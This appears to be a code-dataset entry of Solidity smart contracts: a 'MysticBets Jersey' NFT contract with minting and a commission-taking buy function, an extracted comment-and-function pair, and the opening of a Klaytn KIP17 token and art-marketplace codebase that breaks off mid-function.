_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/NFT.sol
contract MysticBets is ERC721, Ownable {
address payable public _contractOwner;
mapping (uint => uint) public price;
mapping (uint => bool) public listedMap;
uint256 public constant mbjPrice = 25000000000000000;
uint256 public constant MAX_MBJS = 10000;
event Purchase(address indexed previousOwner, address indexed newOwner, uint price, uint nftID, string uri);
event Minted(address indexed minter, uint price, uint nftID, string uri);
event PriceUpdate(address indexed owner, uint oldPrice, uint newPrice, uint nftID);
event NftListStatus(address indexed owner, uint nftID, bool isListed);
constructor() public ERC721("MysticBets Jersey", "MBJ") {
_contractOwner = msg.sender;
}
function mint() public payable {
require(msg.value >= mbjPrice, "Insufficient funds");
require(totalSupply() < MAX_MBJS, "Fulfilled limit");
uint _id = totalSupply() + 1;
price[_id] = mbjPrice;
listedMap[_id] = true;
_contractOwner.transfer(msg.value);
_safeMint(msg.sender, _id);
_setTokenURI(_id, getTokenURI());
emit Minted(msg.sender, mbjPrice, _id, getTokenURI());
}
function buy(uint _id) external payable _validate(_id) {
address _previousOwner = ownerOf(_id);
address _newOwner = msg.sender;
_trade(_id);
emit Purchase(_previousOwner, _newOwner, price[_id], _id, tokenURI(_id));
}
modifier _validate(uint _id) {
bool isItemListed = listedMap[_id];
require(_exists(_id), "Error, wrong tokenId");
require(isItemListed, "Item not listed currently");
require(msg.value >= price[_id], "Error, the amount is lower");
require(msg.sender != ownerOf(_id), "Can not buy what you own");
_;
}
function _trade(uint _id) internal {
address payable _buyer = payable(msg.sender);
address payable _owner = payable(ownerOf(_id));
_transfer(_owner, _buyer, _id);
// 5% commission cut
uint _commissionValue = price[_id] / 20 ;
uint _sellerValue = price[_id] - _commissionValue;
_owner.transfer(_sellerValue);
_contractOwner.transfer(_commissionValue);
// If buyer sent more than price, we send them back their rest of funds
if (msg.value > price[_id]) {
_buyer.transfer(msg.value - price[_id]);
}
listedMap[_id] = false;
}
function updatePrice(uint _id, uint _price) public {
uint oldPrice = price[_id];
require(msg.sender == ownerOf(_id), "Error, you are not the owner");
price[_id] = _price;
emit PriceUpdate(msg.sender, oldPrice, _price, _id);
}
function updateListingStatus(uint _id, bool shouldBeListed) public {
require(msg.sender == ownerOf(_id), "Error, you are not the owner");
listedMap[_id] = shouldBeListed;
emit NftListStatus(msg.sender, _id, shouldBeListed);
}
function getTokenURI() private view returns(string memory URI){
URI = string(abi.encodePacked("https://ipfs.io/ipfs/QmVZKCyKAgkHU85FMYdNiiT29i356pzWyhLptukwEH8UKu/", totalSupply().toString() , ".json" ));
}
}
|
5% commission cut If buyer sent more than price, we send them back their rest of funds
|
function _trade(uint _id) internal {
address payable _buyer = payable(msg.sender);
address payable _owner = payable(ownerOf(_id));
_transfer(_owner, _buyer, _id);
uint _commissionValue = price[_id] / 20 ;
uint _sellerValue = price[_id] - _commissionValue;
_owner.transfer(_sellerValue);
_contractOwner.transfer(_commissionValue);
if (msg.value > price[_id]) {
_buyer.transfer(msg.value - price[_id]);
}
listedMap[_id] = false;
}
| 627,901
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] |
pragma solidity ^0.5.6;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address payable private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address payable) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address payable newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address payable newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the KIP-13 standard, as defined in the
* [KIP-13](http://kips.klaytn.com/KIPs/kip-13-interface_query_standard).
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others.
*
* For an implementation, see `KIP13`.
*/
interface IKIP13 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* [KIP-13 section](http://kips.klaytn.com/KIPs/kip-13-interface_query_standard#how-interface-identifiers-are-defined)
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an KIP17 compliant contract.
*/
contract IKIP17 is IKIP13 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either `approve` or `setApproveForAll`.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either `approve` or `setApproveForAll`.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
interface IArtStore {
event Sell(uint256 indexed id, address indexed owner, uint256 price);
event ChangeSellPrice(uint256 indexed id, address indexed owner, uint256 price);
event Buy(uint256 indexed id, address indexed buyer, uint256 price);
event CancelSale(uint256 indexed id, address indexed owner);
event MakeOffer(uint256 indexed id, uint256 indexed offerId, address offeror, uint256 price);
event CancelOffer(uint256 indexed id, uint256 indexed offerId, address offeror);
event AcceptOffer(uint256 indexed id, uint256 indexed offerId, address acceptor);
event CreateAuction(uint256 indexed id, address indexed owner, uint256 startPrice, uint256 endBlock);
event CancelAuction(uint256 indexed id, address indexed owner);
event Bid(uint256 indexed id, address indexed bidder, uint256 price);
event Claim(uint256 indexed id, address indexed bidder, uint256 price);
event CancelSaleByOwner(uint256 indexed id);
event CancelOfferByOwner(uint256 indexed id, uint256 indexed offerId);
event CancelAuctionByOwner(uint256 indexed id);
event Ban(address indexed user);
event Unban(address indexed user);
function auctionExtensionInterval() external view returns (uint256);
function batchTransfer(uint256[] calldata ids, address[] calldata to) external;
function sales(uint256 id) external view returns (address seller, uint256 price);
function userSellInfo(address seller, uint256 index) external view returns (uint256 id, uint256 price);
function userSellInfoLength(address seller) external view returns (uint256);
function checkSelling(uint256 id) external view returns (bool);
function onSalesCount() view external returns (uint256);
function onSales(uint256 index) view external returns (uint256);
function sell(uint256[] calldata ids, uint256[] calldata prices) external;
function changeSellPrice(uint256[] calldata ids, uint256[] calldata prices) external;
function cancelSale(uint256[] calldata ids) external;
function buy(uint256[] calldata ids, uint256[] calldata prices, uint256[] calldata mileages) external;
function offers(uint256 id, uint256 index) external view returns (address offeror, uint256 price, uint256 mileage);
function userOfferInfo(address offeror, uint256 index) external view returns (uint256 id, uint256 price);
function userOfferInfoLength(address offeror) external view returns (uint256);
function offerCount(uint256 id) external view returns (uint256);
function makeOffer(uint256 id, uint256 price, uint256 mileage) external returns (uint256 offerId);
function cancelOffer(uint256 id, uint256 offerId) external;
function acceptOffer(uint256 id, uint256 offerId) external;
function auctions(uint256 id) external view returns (address seller, uint256 startPrice, uint256 endBlock);
function userAuctionInfo(address seller, uint256 index) external view returns (uint256 id, uint256 startPrice);
function userAuctionInfoLength(address seller) external view returns (uint256);
function checkAuction(uint256 id) external view returns (bool);
function onAuctionsCount() view external returns (uint256);
function onAuctions(uint256 index) view external returns (uint256);
function createAuction(uint256 id, uint256 startPrice, uint256 endBlock) external;
function cancelAuction(uint256 id) external;
function biddings(uint256 id, uint256 index) external view returns (address bidder, uint256 price, uint256 mileage);
function userBiddingInfo(address bidder, uint256 index) external view returns (uint256 id, uint256 price);
function userBiddingInfoLength(address bidder) external view returns (uint256);
function biddingCount(uint256 id) external view returns (uint256);
function bid(uint256 id, uint256 price, uint256 mileage) external returns (uint256 biddingId);
function claim(uint256 id) external;
}
interface IArtists {
event Add(address indexed artist);
event SetBaseRoyalty(address indexed artist, uint256 baseRoyalty);
event SetExtra(address indexed artist, string extra);
event JoinOnlyKlubsMembership(address indexed artist);
event ExitOnlyKlubsMembership(address indexed artist);
event Ban(address indexed artist);
event Unban(address indexed artist);
function artistCount() view external returns (uint256);
function artists(uint256 index) view external returns (address);
function added(address artist) view external returns (bool);
function addedBlocks(address artist) view external returns (uint256);
function add() external;
function baseRoyalty(address artist) view external returns (uint256);
function setBaseRoyalty(uint256 _baseRoyalty) external;
function extras(address artist) view external returns (string memory);
function setExtra(string calldata extra) external;
function onlyKlubsMembership(address artist) view external returns (bool);
function banned(address artist) view external returns (bool);
}
/**
* @dev Interface of the KIP7 standard as defined in the KIP. Does not include
* the optional functions; to access them see `KIP7Metadata`.
* See http://kips.klaytn.com/KIPs/kip-7-fungible_token
*/
contract IKIP7 is IKIP13 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*/
function safeTransfer(address recipient, uint256 amount, bytes memory data) public;
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*/
function safeTransfer(address recipient, uint256 amount) public;
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism.
* `amount` is then deducted from the caller's allowance.
*/
function safeTransferFrom(address sender, address recipient, uint256 amount, bytes memory data) public;
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism.
* `amount` is then deducted from the caller's allowance.
*/
function safeTransferFrom(address sender, address recipient, uint256 amount) public;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IMix {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address to, uint256 amount) external;
function burn(uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
}
interface IMileage {
event AddToWhitelist(address indexed addr);
event RemoveFromWhitelist(address indexed addr);
event Charge(address indexed user, uint256 amount);
event Use(address indexed user, uint256 amount);
function mileages(address user) external view returns (uint256);
function mileagePercent() external view returns (uint256);
function onlyKlubsPercent() external view returns (uint256);
function whitelist(address addr) external view returns (bool);
function charge(address user, uint256 amount) external;
function use(address user, uint256 amount) external;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safeTransfer`. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
/**
* @title KIP17 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from KIP17 asset contracts.
* @dev see http://kips.klaytn.com/KIPs/kip-17-non_fungible_token
*/
contract IKIP17Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The KIP17 smart contract calls this function on the recipient
* after a `safeTransfer`. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onKIP17Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the KIP17 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onKIP17Received(address,address,uint256,bytes)"))`
*/
function onKIP17Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the SafeMath
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
/**
* @dev Implementation of the `IKIP13` interface.
*
* Contracts may inherit from this and call `_registerInterface` to declare
* their support of an interface.
*/
contract KIP13 is IKIP13 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_KIP13 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for KIP13 itself here
_registerInterface(_INTERFACE_ID_KIP13);
}
/**
* @dev See `IKIP13.supportsInterface`.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual KIP13 interface is automatic and
* registering its interface id is not required.
*
* See `IKIP13.supportsInterface`.
*
* Requirements:
*
* - `interfaceId` cannot be the KIP13 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "KIP13: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
/**
* @title KIP17 Non-Fungible Token Standard basic implementation
* @dev see http://kips.klaytn.com/KIPs/kip-17-non_fungible_token
*/
contract KIP17 is KIP13, IKIP17 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onKIP17Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IKIP17Receiver(0).onKIP17Received.selector`
bytes4 private constant _KIP17_RECEIVED = 0x6745782b;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_KIP17 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to KIP17 via KIP13
_registerInterface(_INTERFACE_ID_KIP17);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "KIP17: balance query for the zero address");
return _ownedTokensCount[owner].current();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0), "KIP17: owner query for nonexistent token");
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "KIP17: approval to current owner");
require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
"KIP17: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "KIP17: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender, "KIP17: approve to caller");
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(msg.sender, tokenId), "KIP17: transfer caller is not owner nor approved");
_transferFrom(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onKIP17Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onKIP17Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onKIP17Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onKIP17Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
